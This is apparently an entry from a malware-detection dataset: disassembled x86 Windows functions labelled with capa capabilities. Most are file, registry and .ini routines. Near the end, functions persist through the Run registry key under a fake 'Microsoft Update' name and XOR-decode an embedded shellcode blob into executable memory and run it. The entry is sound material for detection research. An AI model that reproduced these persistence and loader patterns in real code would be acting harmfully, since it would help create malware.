joyce8/EMBER2024-capa huggingface dataset:
Function at 0x412c50
Capabilities:
Copy file
Get common file path

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x324
push ebx
xor ebx, ebx
cmp eax, ebx
je 0x412e48
cmp dword [esp + 0x330], ebx
je 0x412e48
cmp dword [esp + 0x334], ebx
je 0x412e48
push ebp
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x231]
mov byte [esp + 0x230], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x234]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0x230]
push 0x421130
push ecx
call esi
xor edx, edx
lea ecx, [esp + 0x18]
mov dword [esp + 0x11], edx
mov byte [esp + 0x10], bl
mov word [esp + 0x15], dx
call fcn.004194a0
lea eax, [esp + 0x10]
push 6
push eax
lea ecx, [esp + 0x20]
call fcn.004196e0
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpynA]
test eax, eax
jne 0x412d04
push 7
lea ecx, [esp + 0x14]
push 0x421128
push ecx
call ebp
call fcn.00410f40
test al, al
je 0x412d3d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
and eax, 0xffff
mov dword [esp + 0x10], edx
push eax
push 0x421124
lea eax, [esp + 0x18]
mov word [esp + 0x1c], dx
push 6
push eax
mov byte [esp + 0x26], dl
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x230]
push 0x104
lea edx, [esp + 0x2c]
push ecx
push edx
stosb byte es:[edi], al
call ebp
lea eax, [esp + 0x10]
lea ecx, [esp + 0x28]
push eax
push ecx
call esi
push 0x104
lea edx, [esp + 0x2c]
push 0x421114
push edx
call fcn.00404560
mov ecx, dword [esp + 0x344]
add esp, 0xc
lea eax, [esp + 0x28]
push ebx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], bl
push 0x104
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0x422e30
stosb byte es:[edi], al
call fcn.00404910
lea edx, [esp + 0x130]
push eax
push edx
call ebp
lea eax, [esp + 0x10]
push 0x104
lea ecx, [esp + 0x130]
push eax
push ecx
call fcn.00404560
push 0x104
lea edx, [esp + 0x13c]
push 0x421114
push edx
call fcn.00404560
add esp, 0x18
cmp esi, ebx
je 0x412e24
push ebx
push ebx
push 3
lea eax, [esp + 0x138]
push 1
lea ecx, [esp + 0x20]
push eax
push ecx
call fcn.00412090
add esp, 0x18
mov esi, eax
mov edx, dword [esp + 0x340]
mov ecx, dword [esp + 0x33c]
lea eax, [esp + 0x10]
push edx
push eax
push ecx
call ebp
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x324
ret
xor eax, eax
pop ebx
add esp, 0x324
ret
Function at 0x413010
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 8]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x104
lea ecx, [esp + 0xc]
push 0x421138
push ecx
call fcn.00404560
mov esi, dword [esp + 0x11c]
push 0x104
lea edx, [esp + 0x18]
push esi
push edx
call fcn.00404560
push 0x104
lea eax, [esp + 0x24]
push 0x421114
push eax
call fcn.00404560
add esp, 0x24
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call fcn.00412120
add esp, 4
pop edi
pop esi
add esp, 0x104
ret
Function at 0x4142f0
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
sub esp, 0x348
push ebx
push ebp
push edi
mov edi, dword [esp + 0x358]
test edi, edi
je 0x414472
mov ecx, dword [esp + 0x35c]
test ecx, ecx
je 0x414472
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
mov byte [esp + 0x110], 0
and ecx, 3
push 0x104
rep stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x115]
xor ebp, ebp
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x110]
push 0x421138
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
test eax, eax
je 0x414472
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x110]
stosb byte es:[edi], al
mov edi, dword [sym.imp.MSVCRT.dll__snprintf]
push edx
push 0x4217a8
lea eax, [esp + 0x14]
push 0x103
push eax
call edi
add esp, 0x10
lea ecx, [esp + 0x214]
lea edx, [esp + 0xc]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x414472
push esi
lea eax, [esp + 0x244]
lea ecx, [esp + 0x114]
push eax
push ecx
push 0x420694
lea edx, [esp + 0x1c]
push 0x103
push edx
call edi
push 1
push 1
push 1
lea eax, [esp + 0x30]
push 1
push eax
call fcn.00414150
add esp, 0x28
test eax, eax
je 0x414442
lea ecx, [esp + 0x244]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov esi, eax
mov eax, dword [esp + 0x360]
lea edx, [esi + ebp + 2]
cmp edx, eax
jge 0x414459
mov edx, dword [esp + 0x35c]
lea eax, [esi + 1]
push eax
lea ecx, [esp + 0x248]
lea eax, [edx + ebp]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ebp, [esi + ebp + 1]
lea ecx, [esp + 0x218]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x4143c8
test ebp, ebp
pop esi
je 0x41445f
inc ebp
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebp
pop edi
pop ebp
pop ebx
add esp, 0x348
ret
pop edi
pop ebp
xor eax, eax
pop ebx
add esp, 0x348
ret
Function at 0x414480
Capabilities:
Set registry value

Disassembly:
sub esp, 0x54c
push ebp
mov ebp, dword [esp + 0x554]
push esi
push edi
test ebp, ebp
jne 0x4144a0
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x54c
ret
mov cl, 0xc5
mov al, 0xca
mov byte [esp + 0x14], cl
mov byte [esp + 0x1b], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x21], cl
mov byte [esp + 0x25], cl
mov byte [esp + 0x2d], al
mov ecx, 8
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0xc]
mov dl, 0xe2
push 0x22
push eax
lea ecx, [esp + 0x38]
mov byte [esp + 0x21], dl
mov byte [esp + 0x25], dl
push 0x23
mov dl, 0xf7
push ecx
push 0x10
mov byte [esp + 0x20], 0xe3
mov byte [esp + 0x21], 0xcf
mov byte [esp + 0x22], 0xc1
mov byte [esp + 0x23], 0xf1
mov byte [esp + 0x24], 0xf5
mov byte [esp + 0x25], 0xdb
mov byte [esp + 0x26], 0xce
mov byte [esp + 0x27], 0xe6
mov byte [esp + 0x29], 0xe4
mov byte [esp + 0x2a], 0xe0
mov byte [esp + 0x2b], 0xc0
mov byte [esp + 0x2c], 0xde
mov byte [esp + 0x2e], 0xd1
mov byte [esp + 0x30], 0xde
mov byte [esp + 0x32], 0xe0
mov byte [esp + 0x34], 0xdc
mov byte [esp + 0x36], dl
mov byte [esp + 0x37], 0xd1
mov byte [esp + 0x38], 0xec
mov byte [esp + 0x3a], dl
mov byte [esp + 0x3b], 0xd7
mov byte [esp + 0x3c], 0xc6
mov byte [esp + 0x3d], 0xff
mov byte [esp + 0x3e], 0xf1
mov byte [esp + 0x3f], 0xc0
mov byte [esp + 0x40], 0xc3
call fcn.00416710
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x16d]
mov byte [esp + 0x16c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x16c]
push 0x400
push edx
stosb byte es:[edi], al
call fcn.004142f0
mov esi, eax
add esp, 0x1c
test esi, esi
jne 0x4145b1
pop edi
pop esi
pop ebp
add esp, 0x54c
ret
lea eax, [esp + 0x158]
push esi
push eax
call fcn.00416d00
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x5d]
mov byte [esp + 0x5c], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x38]
push ebp
stosw word es:[edi], ax
push ecx
push 0x420694
lea edx, [esp + 0x68]
push 0x103
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x1c
lea eax, [esp + 0x158]
lea ecx, [esp + 0x54]
push esi
push eax
push 3
push 0x4217b0
push ecx
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHSetValueA]
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x54c
ret

Function at 0x415270
Capabilities:
Delete file

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
push edi
push 2
push 1
push 0x40000000
push ebx
xor edi, edi
call fcn.00416970
mov esi, eax
add esp, 0x10
cmp esi, 0xffffffff
je 0x4152bd
mov eax, dword [esp + 0x18]
mov ecx, dword [esp + 0x14]
push 0xffffffffffffffff
push eax
push ecx
push esi
call fcn.00416a30
add esp, 0x10
test eax, eax
je 0x4152b0
mov edi, 1
push esi
call fcn.00416b40
add esp, 4
test edi, edi
jne 0x4152c4
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, edi
pop edi
pop esi
pop ebx
ret 0xc
Function at 0x4153c0
Capabilities:
Access peb ldr_data
Check if file exists
Get common file path
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x419e30
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x54
mov al, 0x9a
push esi
mov byte [esp + 0x30], al
mov byte [esp + 0x38], al
push edi
mov edi, dword [esp + 0x70]
lea eax, [esp + 0x2c]
push 0x14
push eax
push 0x26
lea ecx, [esp + 0x28]
mov dword [esp + 0x14], 1
mov dword [esp + 0x7c], edi
mov byte [esp + 0x38], 0x95
mov byte [esp + 0x39], 0xe3
mov byte [esp + 0x3a], 0xee
mov byte [esp + 0x3b], 0xef
mov byte [esp + 0x3c], 0x91
mov byte [esp + 0x3d], 0xed
mov byte [esp + 0x3e], 0xfa
mov byte [esp + 0x3f], 0xfe
mov byte [esp + 0x41], 0xf8
mov byte [esp + 0x42], 0xcd
mov byte [esp + 0x43], 0xd5
mov byte [esp + 0x44], 0xa5
mov byte [esp + 0x45], 0xc9
mov byte [esp + 0x46], 0xc6
mov byte [esp + 0x47], 0xcf
mov byte [esp + 0x49], 0xf8
mov byte [esp + 0x4a], 0xea
mov byte [esp + 0x4b], 0xf3
call fcn.00404880
mov esi, dword [esp + 0x6c]
lea ecx, [esp + 0x70]
push ecx
lea edx, [esp + 0xc]
push esi
push edx
push 0x420bb0
lea ecx, [esp + 0x2c]
mov dword [esp + 0x74], 0
call fcn.00404910
push eax
push 0x80000002
call dword [sym.imp.SHLWAPI.dll_SHGetValueA]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4155a8
mov al, 0x99
push 0x1c
mov byte [esp + 0x44], al
mov byte [esp + 0x5c], al
lea eax, [esp + 0x44]
lea ecx, [esp + 0x10]
push eax
push 0x29
mov byte [esp + 0x4d], 0xdd
mov byte [esp + 0x4e], 0xc4
mov byte [esp + 0x4f], 0xd9
mov byte [esp + 0x50], 0xbb
mov byte [esp + 0x51], 0xce
mov byte [esp + 0x52], 0xc6
mov byte [esp + 0x53], 0x9e
mov byte [esp + 0x54], 0x8f
mov byte [esp + 0x55], 0xc6
mov byte [esp + 0x56], 0xc7
mov byte [esp + 0x57], 0xdb
mov byte [esp + 0x58], 0xba
mov byte [esp + 0x59], 0xf3
mov byte [esp + 0x5a], 0xff
mov byte [esp + 0x5b], 0xfb
mov byte [esp + 0x5c], 0x87
mov byte [esp + 0x5d], 0xec
mov byte [esp + 0x5e], 0xee
mov byte [esp + 0x5f], 0xf0
mov byte [esp + 0x60], 0x9d
mov byte [esp + 0x61], 0xf3
mov byte [esp + 0x62], 0xf8
mov byte [esp + 0x63], 0xed
mov byte [esp + 0x65], 0xc3
mov byte [esp + 0x66], 0xde
mov byte [esp + 0x67], 0xcd
call fcn.00404880
push edi
push esi
mov byte [esp + 0x6c], 1
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
jne 0x415582
lea ecx, [esp + 0xc]
mov byte [esp + 0x64], al
call fcn.004048d0
lea ecx, [esp + 0x1c]
mov dword [esp + 0x64], 0xffffffff
call fcn.004048d0
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x54]
mov dword fs:[0], ecx
add esp, 0x60
ret 8
push esi
call dword [sym.imp.SHLWAPI.dll_PathStripToRootA]
lea ecx, [esp + 0xc]
call fcn.00404910
push eax
push esi
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea ecx, [esp + 0xc]
mov byte [esp + 0x64], 0
call fcn.004048d0
lea ecx, [esp + 0x1c]
mov dword [esp + 0x64], 0xffffffff
call fcn.004048d0
mov ecx, dword [esp + 0x5c]
pop edi
mov eax, 1
pop esi
mov dword fs:[0], ecx
add esp, 0x60
ret 8
Function at 0x417f20
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x124
push ebx
push ebp
push esi
mov esi, ecx
push edi
xor ebx, ebx
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0xb5]
mov byte [esp + 0xb4], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x75]
mov byte [esp + 0x74], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x74]
push 0x40
push eax
mov eax, dword [esp + 0x140]
lea ecx, [esp + 0xbc]
push 0x40
push ecx
lea edx, [esp + 0x44]
push 0x40
push edx
push eax
mov ecx, esi
mov dword [esp + 0x2c], esi
call fcn.00417c70
test eax, eax
je 0x4180cd
push esi
lea ecx, [esp + 0x18]
push 0x20
lea edx, [esp + 0xbc]
push ecx
lea eax, [esp + 0x40]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
test eax, eax
je 0x4180cd
mov eax, dword [esp + 0x13c]
mov ebp, dword [esp + 0x140]
test eax, eax
mov eax, dword [esp + 0x1c]
je 0x4180bf
cmp dword [ebp], eax
jb 0x4180bf
xor esi, esi
mov dword [ebp], eax
test eax, eax
jbe 0x418082
cmp ebx, dword [esp + 0x28]
jae 0x418082
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0xf5]
mov byte [esp + 0xf4], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x74]
push ebx
stosw word es:[edi], ax
push ecx
push 0x420f80
lea edx, [esp + 0x100]
push 0x3f
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll__snprintf]
mov eax, dword [ebp]
add esp, 0x14
sub eax, esi
mov edi, 0x4000
cmp eax, 0x4000
jg 0x41804c
mov edi, eax
mov ecx, dword [esp + 0x13c]
mov eax, dword [esp + 0x10]
push eax
push edi
lea edx, [esi + ecx]
lea eax, [esp + 0xfc]
push edx
lea ecx, [esp + 0x40]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
test eax, eax
je 0x418082
mov eax, dword [ebp]
add esi, edi
inc ebx
cmp esi, eax
jb 0x417ff6
mov edx, dword [ebp]
mov esi, dword [esp + 0x13c]
mov eax, dword [esp + 0x20]
push edx
push esi
push eax
call fcn.00416cd0
mov ecx, dword [ebp]
push ecx
push esi
call fcn.00416930
mov ecx, dword [esp + 0x38]
add esp, 0x14
cmp eax, ecx
jne 0x4180dc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x124
ret 0xc
push 0xea
mov dword [ebp], eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x124
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x124
ret 0xc
Function at 0x4180f0
Capabilities:
Read .ini file

Disassembly:
sub esp, 0x120
push ebp
mov ebp, ecx
push edi
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x29]
mov byte [esp + 0x28], 0
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0xa8], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0xa9]
push 0x40
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0xac]
lea ecx, [esp + 0x6c]
push eax
mov eax, dword [esp + 0x134]
push 0x40
push ecx
lea edx, [esp + 0x38]
push 0x40
push edx
push eax
mov ecx, ebp
call fcn.00417c70
test eax, eax
jne 0x418175
pop edi
pop ebp
add esp, 0x120
ret 4
push ebp
lea ecx, [esp + 0xc]
push 0x20
lea edx, [esp + 0x70]
push ecx
lea eax, [esp + 0x34]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructA]
test eax, eax
jne 0x41819c
pop edi
pop ebp
add esp, 0x120
ret 4
mov eax, dword [esp + 0x1c]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructA]
push esi
xor esi, esi
test eax, eax
jbe 0x418207
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0xf1]
mov byte [esp + 0xf0], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0xb0]
push esi
stosw word es:[edi], ax
push ecx
push 0x420f80
lea edx, [esp + 0xfc]
push 0x3f
push edx
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll__snprintf]
add esp, 0x14
lea eax, [esp + 0xf0]
lea ecx, [esp + 0x30]
push ebp
push 0
push 0
push eax
push ecx
call ebx
mov eax, dword [esp + 0x24]
inc esi
cmp esi, eax
jb 0x4181ae
push ebp
push 0
lea edx, [esp + 0x78]
push 0
lea eax, [esp + 0x3c]
push edx
push eax
call ebx
pop esi
pop ebx
pop edi
pop ebp
add esp, 0x120
ret 4
Function at 0x401d60
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00402c40
push 0x30
call fcn.00403628
movups xmm0, xmmword [str.Microsoft_Update_System_Web_Helper]
mov dword [ebp - 0x20], eax
add esp, 4
mov dword [ebp - 0x10], 0x22
mov dword [ebp - 0xc], 0x2f
movups xmmword [eax], xmm0
movups xmm0, xmmword [0x41a430]
movups xmmword [eax + 0x10], xmm0
mov cx, word [0x41a440]
mov word [eax + 0x20], cx
lea ecx, [ebp - 0x38]
mov byte [eax + 0x22], 0
lea eax, [ebp - 0x50]
push eax
call fcn.004027a0
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push dword [ebp - 0x28]
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0x38]
lea eax, [ebp - 0x20]
cmovae ecx, dword [ebp - 0x38]
cmp dword [ebp - 0xc], 0x10
push ecx
cmovae eax, dword [ebp - 0x20]
push 1
push 0
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
cmp ecx, 0x10
jb 0x401e41
mov edx, dword [ebp - 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb7
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0xf
mov byte [ebp - 0x20], 0
cmp ecx, 0x10
jb 0x401e83
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401e79
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401eb7
push ecx
push edx
call fcn.00403658
add esp, 8
mov ecx, dword [ebp - 0x3c]
cmp ecx, 0x10
jb 0x401eb3
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x401ea9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x401ebc
push ecx
push edx
call fcn.00403658
add esp, 8
mov esp, ebp
pop ebp
ret
call fcn.004068c8
call fcn.004068c8
int3

Function at 0x401ed0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41afa8
push 0x410100
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x214
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
mov ecx, 0x82
mov esi, 0x41a448
lea edi, [ebp - 0x224]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
xor eax, eax
nop
xor byte [ebp + eax - 0x224], 0x66
xor byte [ebp + eax - 0x223], 0x75
add eax, 2
cmp eax, 0x208
jb 0x401f10
push 0x40
push 0x3000
push 0x209
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, 0x82
lea esi, [ebp - 0x224]
mov edi, eax
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov dword [ebp - 4], 0
call eax
jmp 0x401f62
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x402120
Capabilities:
Create thread

Disassembly:
push ecx
push esi
push edi
call fcn.00401d60
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push fcn.00401ed0
push 0
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 0
push 0x401f80
push 0
push 0
call esi
push 0x927c0
call edi
jmp 0x402145
Function at 0x403f06
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403f45
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403f45
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403f45
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403f45
cmp dword [ecx + 0x74], 0xe
jbe 0x403f45
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x410030
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41005d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41005d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4519c0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x4a000]
push edi
or ebp, 0xffffffff
jmp 0x4519e2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4519e9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4519d8
mov eax, 1
add ebx, ebx
jne 0x4519fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4519f0
jne 0x451a0c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4519f0
xor ecx, ecx
sub eax, 3
jb 0x451a20
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x451a92
mov ebp, eax
add ebx, ebx
jne 0x451a2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x451a38
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x451a5c
inc ecx
add ebx, ebx
jne 0x451a48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x451a3d
jne 0x451a59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x451a3d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x451a7c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x451a6d
jmp 0x4519de
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x451a7c
add edi, ecx
jmp 0x4519de
pop esi
mov edi, esi
mov ecx, 0x51
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x451a9a
cmp byte [edi], 8
jne 0x451a9a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x451a9f
lea edi, [esi + 0x4f000]
mov eax, dword [edi]
or eax, eax
je 0x451b0e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x524f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x52584]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x451acc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x52588]
or eax, eax
je 0x451b08
mov dword [ebx], eax
add ebx, 4
jmp 0x451ae9
call dword [esi + 0x52598]
mov ebp, dword [esi + 0x5258c]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x17f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x451b42
sub esp, 0xffffff80
jmp section.UPX0